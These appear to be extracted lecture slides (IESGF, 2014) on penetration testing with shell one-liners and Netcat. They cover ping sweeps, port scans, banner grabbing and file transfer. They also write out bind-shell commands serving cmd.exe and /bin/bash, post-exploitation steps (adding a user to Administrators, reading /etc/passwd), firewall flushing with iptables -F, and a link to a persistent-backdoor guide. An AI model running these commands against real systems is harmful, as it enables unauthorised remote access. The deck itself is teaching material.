Pentest com script shell & Perl

Report
Pentest com script shell & Perl
Cerutti – IESGF - 2014
Ping broadcast
• Veja a mascara da sura rede.
• O IP de broadcast é o que tem, segundo a
máscara, todos os bits de host=1.
• Por exemplo:
– Meu IP na rede é 10.1.1.30
– A mascara é 255.255.255.192
– O end de broadcast será 10.1.1.33
• root# ping 192.168.0.255
• PING 192.168.0.255 (192.168.0.255): 56 data bytes
• 64 bytes from 192.168.0.150: icmp_seq=0 ttl=64
time=0.063 ms
• 64 bytes from 192.168.0.165: icmp_seq=0 ttl=64
time=30.095 ms
• 64 bytes from 192.168.0.150: icmp_seq=1 ttl=64
time=0.117 ms
• 64 bytes from 192.168.0.165: icmp_seq=1 ttl=64
time=17.263 ms
alternativa
• Linux / UNIX one liner to ping all hosts on the
LAN
• Type the following command, enter:
$ for ip in $(seq 1 254); do ping -c 1
192.168.1.$ip>/dev/null; [ $? -eq 0 ] && echo
"192.168.1.$ip UP" || : ; done
Output:
• 192.168.1.1 UP 192.168.1.1 UP 192.168.1.2
UP 192.168.1.5 UP ...... ... .. 192.168.1.254 UP
Netcat
According to SecTools.org , Netcat is ranked
as the eighth favorite network security
tool (Nmap Security Scanner Project, 2011
• http://packetstormsecurity.org/files/downloa
d/14051/nc110.tgz
• sudo apt-get install netcat-traditional
Desativar firewall
Iptables -F
Chat interface
Hypervisors
Conectar porta
• conectar porta alta qualquer, por exemplo
portaTCP 1234
• $ nc -l 1234
•
nc is now listening on port 1234 for a
connection. On a second console (or a second
•
machine), connect to the machine and port
being listened on:
•
$ nc 127.0.0.1 1234
chat
transferindo dados com Netcat
• –vv (double v) for additional verbosity that
will give you the number of
• bytes transferred during a file transfer. The –w
switch instructs Netcat to wait for a specific
• number of seconds before timing out the
connection. In our example, we specify 30
seconds
Transferencia no MAC-OSX
• nc -v -w 30 -p 1234 –l > secret.txt
•
•
Start by using nc to listen on a specific port, with output captured into a
file:
$ nc -l 1234 > filename.out
•
Using a second machine, connect to the listening nc process, feeding it
the file which is to be trans•
ferred:
•
•
$ nc host.example.com 1234 < filename.in
After the file has been transferred, the connection will close
automatically.
banner grabbing with Netcat
Windows remote shell (and simple
post-exploitation hi-jinks)
•
•
•
•
Preparing the listener
nc –Lp 31337 –vv –e cmd.exe
Connecting to the target
nc 192.168.0.10 31337
– Dir c:/
– Md /invasao
– net localgroup Administrators bob
Linux shell
• sudo nc –lp 31337 –e /bin/bash
• Connecting to the target
• As I have demonstrated in the previous exercise,
you simply connect to the host (as shown
• below) and the port that you want to connect to,
and the listener will serve up the bash shell
• for you as follows:
• nc 192.168.0.11 31337
• grep bob /etc/passwd
Abrindo paginas web no servidor
• $ echo -n "GET / HTTP/1.0\r\n\r\n" | nc
host.example.com 80
Enviando email
• $ nc localhost 25 << EOF
•
HELO host.example.com
•
MAIL FROM: <[email protected]>
•
RCPT TO: <[email protected]>
•
DATA
•
Body of email.
•
.
•
QUIT
•
EOF
Varredura de portas
• $ nc -z host.example.com 20-30
•
Connection to host.example.com 22
port [tcp/ssh] succeeded!
•
Connection to host.example.com 25
port [tcp/smtp] succeeded!
•
The port range was specified to limit the
search to ports 20 - 30.
which server software is running, and
which versions.
• o first make a connection, and then break the connection
when the banner has been retrieved.
•
This can be accomplished by specifying a small timeout
with the -w flag, or perhaps by issuing a "QUIT"
•
command to the server:
•
•
•
•
$ echo "QUIT" | nc host.example.com 20-30
SSH-1.99-OpenSSH_3.6.1p2
Protocol mismatch.
220 host.example.com IMS SMTP Receiver Version
0.84 Ready
•
•
Open a TCP connection to port 42 of host.example.com using 10.1.2.3 as the IP for
the local end of the
connection:
•
$ nc -s 10.1.2.3 host.example.com 42
•
Create and listen on a Unix Domain Socket:
•
•
•
•
$ nc -lU /var/tmp/dsocket
Connect to port 42 of host.example.com via an HTTP proxy at 10.2.3.4, port
8080. This example could
also be used by ssh(1); see the ProxyCommand directive in ssh_config(5) for
more information.
$ nc -x10.2.3.4:8080 -Xconnect host.example.com 42
Scanning a range of devices with a
script
• for i in {10..12}; do nc –vv –n –w 1
192.168.0.$i 21-25 –z; done
Official sites
• Unix Netcat Homepage:
http://nc110.sourceforge.net/
• GNU Netcat Project:
http://netcat.sourceforge.net/
• Ncat – The Nmap Project:
http://www.nmap.org/ncat
Articles and tutorials
•
•
•
•
•
•
•
•
•
•
•
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•
•
•
•
Offensive Security explains how to create a persistent back door using Netcat and
Metasploit's Meterpreter:
http://www.offensive-security.com/metasploit-unleashed/Persistent_
Netcat_Backdoor
Crazy Netcat Relays for Fun and Profit:
http://pauldotcom.com/wiki/index.php/Episode195#Tech_Segment:_CrazyAss_Netcat_Relays_for_Fun_and_Profit
SANS Institute Netcat Pocket Cheatsheet:
http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_
v1.pdf
Some interesting use cases not covered in this book by Johannes Franken:
http://www.jfranken.de/homepages/johannes/vortraege/netcat.en.html
A great reference for using Netcat for debugging SOAP and XML web services using
Netcat:
http://parand.com/say/index.php/2005/03/11/simple-recipe-fordebuggingweb-services/
Twitter
•
•
•
•
•
•
•
•
•
•
Follow Thomas Wilhelm on Twitter:
https://twitter.com/#!/thomas_wilhelm
Follow Brian Baskin on Twitter:
https://twitter.com/#!/bbaskin
Follow Michael Scherer on Twitter:
https://twitter.com/#!/theprez98
Follow Ed Skoudis on Twitter:
https://twitter.com/#!/edskoudis
For more Open Source information, follow Packt at:
http://twitter.com/#!/packtopensource

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